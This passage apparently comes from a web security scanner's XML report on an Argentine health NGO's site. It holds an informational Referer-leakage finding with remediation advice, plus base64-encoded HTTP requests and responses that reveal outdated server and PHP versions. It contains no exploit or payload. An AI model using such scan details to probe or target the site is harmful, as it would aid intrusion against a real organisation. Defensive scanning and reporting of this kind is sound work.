3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
201 <responseRedirected>false</responseRedirected>
202 </requestresponse>
203 </issue>
204 <issue>
205 <serialNumber>3742539495863584768</serialNumber>
206 <type>5243904</type>
207 <name>Cross-domain Referer leakage</name>
208 <host ip="200.20.20.201">http://www.example.org.ar</host>
209 <path><![CDATA[/index.php]]></path>
210 <location><![CDATA[/index.php]]></location>
211 <severity>Information</severity>
212 <confidence>Certain</confidence>
213 <issueBackground><![CDATA[When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.<br><br>If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.<br><br>You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.<br><br>Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behavior should not be relied upon to protect the originating URL from disclosure.<br><br>Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.]]></issueBackground>
214 <remediationBackground><![CDATA[The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.]]></remediationBackground>
215 <issueDetail><![CDATA[The page was loaded from a URL containing a query string:<ul><li>http://www.example.org.ar/index.php?id=18_new</li></ul>The response contains the following links to other domains:<ul><li>http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab</li><li>http://twitter.com/exampleONG</li><li>http://www.congresoviolencia.com/index.php?id=inscripcion</li><li>http://www.congresoviolencia.com/index.php?id=modalidades</li><li>http://www.facebook.com/home.php?</li><li>http://www.sitei.com.ar/</li></ul>]]></issueDetail>
216 <requestresponse>
217 <request base64="true"><![CDATA[R0VUIC9pbmRleC5waHA/aWQ9MThfbmV3IEhUVFAvMS4xDQpIb3N0OiB3d3cuc2FsdWRhY3RpdmEub3JnLmFyDQpBY2NlcHQ6ICovKg0KQWNjZXB0LUxhbmd1YWdlOiBlbg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKGNvbXBhdGlibGU7IE1TSUUgOS4wOyBXaW5kb3dzIE5UIDYuMTsgV2luNjQ7IHg2NDsgVHJpZGVudC81LjApDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo=]]></request>
218 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW